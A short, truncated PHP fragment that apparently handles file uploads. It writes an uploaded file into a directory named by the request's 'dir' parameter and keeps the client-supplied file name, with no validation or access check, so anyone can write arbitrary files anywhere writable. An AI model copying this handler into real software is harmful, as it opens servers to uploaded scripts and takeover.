/* file upload */ if (($HTTP_POST_FILES["userfile"]!=="") AND ($HTTP_POST_FILES["userfile"])) { copy($HTTP_POST_FILES["userfile"][tmp_name], $_POST['dir']."/".$HTTP_POST_FILES["userfile"][name]) or print("